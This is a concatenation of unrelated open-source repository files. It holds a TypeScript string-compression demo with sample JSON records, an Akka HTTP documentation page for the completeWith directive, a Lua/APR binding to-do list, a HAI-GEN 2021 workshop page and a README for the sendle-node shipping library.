{"id":1,"name":"Ryan Peterson","country":"Northern Mariana<EMAIL_ADDRESS>{"id":2,"name":"Judith Mason","country":"Puerto<EMAIL_ADDRESS>{"id":3,"name":"Kenneth<EMAIL_ADDRESS>{"id":4,"name":"Judith<EMAIL_ADDRESS>{"id":5,"name":"Adam<EMAIL_ADDRESS>{"id":6,"name":"Angela<EMAIL_ADDRESS>{"id":7,"name":"Jason<EMAIL_ADDRESS>{"id":8,"name":"Pamela<EMAIL_ADDRESS>{"id":9,"name":"Mary<EMAIL_ADDRESS>{"id":10,"name":"Christopher Brooks","country":"Trinidad and<EMAIL_ADDRESS>{"id":11,"name":"Anna<EMAIL_ADDRESS>{"id":12,"name":"Angela<EMAIL_ADDRESS>{"id":13,"name":"Gregory<EMAIL_ADDRESS>{"id":14,"name":"Andrew<EMAIL_ADDRESS>{"id":15,"name":"James<EMAIL_ADDRESS>{"id":16,"name":"Patricia Kelley","country":"Papua New<EMAIL_ADDRESS>{"id":17,"name":"Annie<EMAIL_ADDRESS>{"id":18,"name":"Margaret Wilson","country":"Saudia<EMAIL_ADDRESS>{"id":19,"name":"Louise<EMAIL_ADDRESS>{"id":20,"name":"Henry<EMAIL_ADDRESS>`

const jsonSample: string = `{"id":33,"name":"John Doe","country":"United<EMAIL_ADDRESS>
const jsonTrainedDictionary: string[] = generateDictionary(jsonTrainingData)
console.time('JSON trainedDict')
const jsonTrainedDictCompression: string = tinyStringCompress(jsonSample, jsonTrainedDictionary)
console.timeEnd('JSON trainedDict')

console.time('JSON trainedDict decompress')
const jsonTrainedDictDecompression: string = tinyStringDecompress(jsonTrainedDictCompression, jsonTrainedDictionary)
console.timeEnd('JSON trainedDict decompress')

console.log('Original:', redditPost + '\n')
console.log('Decompressed', jsonTrainedDictDecompression + '\n')
console.log('Compressed:', jsonTrainedDictCompression,
    Number((1 - jsonTrainedDictCompression.length / jsonSample.length) * 100).toFixed(2) + '% compressed' + '\n')
console.log('Original length', jsonSample.length + '\n')
console.log('Compressed length', jsonTrainedDictCompression.length + '\n')
```

repository: dcmox/tiny-string

repo_name: dcmox/tiny-string


text:
# completeWith

@@@ div { .group-scala }

## Signature

@@signature [MarshallingDirectives.scala]($akka-http$/akka-http/src/main/scala/akka/http/scaladsl/server/directives/MarshallingDirectives.scala) { #completeWith }

@@@

## Description

Uses the marshaller for a given type to produce a completion function that is passed to its
inner route.  You can use it to decouple marshaller resolution from request completion.

The `completeWith` directive works in conjunction with `instanceOf` and `spray.httpx.marshalling`
to convert higher-level (object) structure into some lower-level serialized "wire format".
@ref[The marshalling documentation](../../../common/marshalling.md) explains this process in detail.
This directive simplifies exposing types to clients via a route while providing some
form of access to the current context.

`completeWith` is similar to `handleWith`.  The main difference is with `completeWith` you must eventually call
the completion function generated by `completeWith`.  `handleWith` will automatically call `complete` when the
`handleWith` function returns.

## Examples

The following example uses @scala[`spray-json`]@java[@ref[Json Support via Jackson](../../../common/json-support.md#jackson-support)] to marshall a simple `Person` class to a json
response. @scala[It utilizes `SprayJsonSupport` via the `PersonJsonSupport` object as the in-scope
unmarshaller.]

Scala
:   @@snip [MarshallingDirectivesExamplesSpec.scala]($test$/scala/docs/http/scaladsl/server/directives/MarshallingDirectivesExamplesSpec.scala) { #person-json-support #person-case-class }

Java
:   @@snip [MarshallingDirectivesExamplesTest.java]($test$/java/docs/http/javadsl/server/directives/MarshallingDirectivesExamplesTest.java) { #person }

The `findPerson` takes an argument of type @scala[`Person => Unit`]@java[`Consumer<Consumer<Person>>`] which is generated by the `completeWith`
call.  We can handle any logic we want in `findPerson` and call our completion function to
complete the request.

Scala
:   @@snip [MarshallingDirectivesExamplesSpec.scala]($test$/scala/docs/http/scaladsl/server/directives/MarshallingDirectivesExamplesSpec.scala) { #example-completeWith-with-json }

Java
:   @@snip [MarshallingDirectivesExamplesTest.java]($test$/java/docs/http/javadsl/server/directives/MarshallingDirectivesExamplesTest.java) { #example-completeWith-with-json }

repository: yangbajing/akka-http

gha_license_id: NOASSERTION

repo_name: yangbajing/akka-http


text:
# To-do list for the Lua/APR binding

## New features

 * **Encrypted network communication**. It appears that APR itself doesn't support this but clearly it's possible because there are dozens of projects that use APR and support encrypted network communication (the [Apache HTTP server] [httpd], [ApacheBench] [ab], [Tomcat] [tomcat], etc.)
 * Make it possible to enable text mode for files, pipes and sockets on platforms where there is no distinction between text/binary mode (because `CR` + `LF` → `LF` translation can be useful on UNIX as well)

[httpd]: http://en.wikipedia.org/wiki/Apache_HTTP_Server
[ab]: http://en.wikipedia.org/wiki/ApacheBench
[tomcat]: http://en.wikipedia.org/wiki/Apache_Tomcat

## Known problems

 * Find out why **`apr.xlate()` doesn't work on Windows** (I can't seem to get `apr_iconv` working on Windows)
    * Zhiguo Zhao mentioned that he's using `apr.xlate()` on Windows using the original `libiconv` instead of `apr_iconv` (see [issue #11] [issue_11])
 * Investigate **escaping problem in `apr_proc_create()`** as found by the test for the `apr.namedpipe_create()` function (see `etc/tests.lua` around line 625)
 * Why is the DBD `LD_PRELOAD` trick needed?! [More information] [dbd_trick]

[issue_11]: https://github.com/xolox/lua-apr/issues/11#issuecomment-2888555
[dbd_trick]: https://answers.launchpad.net/ubuntu/+source/apr-util/+question/143914

## Anything else?

 * Propose the [libapreq2 binding] [apreq_binding] for inclusion as the official Lua language binding of [libapreq2] [libapreq2]? (first make the binding a lot more complete)
 * [Maybe][atexit] I shouldn't be using `atexit()` to call `apr_terminate()`? (BTW the whole linked blog post is interesting, as is the follow-up post)

[apreq_binding]: https://github.com/xolox/lua-apr/blob/master/src/http.c
[libapreq2]: http://httpd.apache.org/apreq/
[atexit]: http://davidz25.blogspot.com/2011/06/writing-c-library-part-1.html

repository: xolox/lua-apr

repo_name: xolox/lua-apr


text:
---
title: HAI-GEN Workshop at IUI 2021
subtitle: 2nd Workshop on Human-AI Co-Creation with Generative Models
layout: page

show_sidebar: true
---

    Jul 9: Workshop proceedings have been published in CEUR: http://ceur-ws.org/Vol-2903/.

# Workshop Description

Recent advances in generative AI through deep learning approaches such as generative adversarial networks (GANs), variational autoencoders (VAEs), and language models will enable new kinds of user experiences around content creation. These advances have enabled content to be produced with an unprecedented level of fidelity. Goodfellow's work on face generation and StyleGan, OpenAI's GPT-3 model, and recent deep fake videos of Mark Zuckerberg and Bill Gates are all prominent examples of the state of the art in the generation of text, image, and video content. In many cases, content generated by generative models is either indistinguishable from human-generated content or could not be produced by human hands. These examples also highlight some of the significant societal, ethical, and organizational challenges generative AI is posing around issues such as security, privacy, ownership, quality metrics, and evaluation of generated content.

While the areas of computational creativity, generative design, and computational art have existed for some time these communities have not been grounded at the intersection of generative deep learning approaches and human-computer interaction.

# Goals

The goal of our workshop is to bring together researchers and practitioners from the domains of HCI & AI to establish a joint community to deepen our understanding of the human-AI co-creative process and to explore the opportunities and challenges of creating powerful user experiences with deep generative models. We envision that the user experience of creating both physical and digital artifacts will become a partnership between people and AI: people will take the role of specification, goal setting, steering, high-level creativity, curation, and governance, whereas AI will augment human abilities through inspiration, creativity, low-level detail work, and the ability to design at scale.

The central question of our workshop is  how can we build co-creative systems that make people feel that they have "creative superpowers"? How will user needs drive the development of generative AI algorithms, and how can the capabilities of generative models be leveraged to create effective co-creative user experiences?

# Submissions

Submissions will take the form of short papers, long papers, and demos, following the IUI paper and demo guidelines. Please see the [Call for Participation](/cfp) for relevant topics and submission instructions.


text:
[![node-sendle](https://user-images.githubusercontent.com/2362138/116803978-9a5d1880-ab5e-11eb-881f-b5497f35f51c.png)](https://sendle-node.vercel.app/)

[![Build Status](https://github.com/gomah/sendle-node/workflows/CI/badge.svg)](https://github.com/gomah/sendle-node/actions?query=workflow%3ACI+branch%3Amain)
[![npm version][npm-version-src]][npm-version-href]
[![Dependencies][david-dm-src]][david-dm-href]
[![npm downloads][npm-downloads-src]][npm-downloads-href]
[![code style: prettier](https://img.shields.io/badge/code_style-prettier-1a2b34.svg?style=flat-square)](https://prettier.io)
[![License: MIT](https://img.shields.io/badge/License-MIT-black.svg?style=flat-square)](https://opensource.org/licenses/MIT)

# Sendle Node.js library

In order to use this library, you need to have an account on <https://www.sendle.com/>. After registering, you will need the application credentials for your app.

## Supported platforms

This SDK supports **Node.js** version 12+.

We test the library against a selection of Node.js versions which we update over time. Please refer to [main.yml](https://github.com/gomah/sendle-node/blob/main/.github/main.yml) for the set of versions that are currently tested with CI.

If you find any compatibility issues, please [raise an issue](https://github.com/gomah/sendle-node/issues/new) in the repository.

## Installation

You need to be running at least Node.js 12 to use this library.

```bash
$ yarn add sendle-node
```

### Create a client

```ts
import { SendleClient } from 'sendle-node';

const client = new SendleClient({
  sendleId: 'yourSendleId',
  apiKey: 'yourApiKey',
  sandbox: true, // default to false
  gotOptions: {}, // See https://github.com/sindresorhus/got#api
});
```

See the [docs](https://sendle-node.vercel.app) for usage reference.

## Development

1. Clone this repository
2. Install dependencies using `yarn install` or `npm install`
3. Build the module using `yarn build` or `npm run build`
4. Start development server using `yarn start` or `npm run start`

## 📑 License

[MIT License](./LICENSE)

<!-- Badges -->

[npm-version-src]: https://img.shields.io/npm/dt/sendle-node.svg?style=flat-square
[npm-version-href]: https://npmjs.com/package/sendle-node
[npm-downloads-src]: https://img.shields.io/npm/v/sendle-node/latest.svg?style=flat-square
[npm-downloads-href]: https://npmjs.com/package/sendle-node
[david-dm-src]: https://david-dm.org/gomah/sendle-node/status.svg?style=flat-square
[david-dm-href]: https://david-dm.org/gomah/sendle-node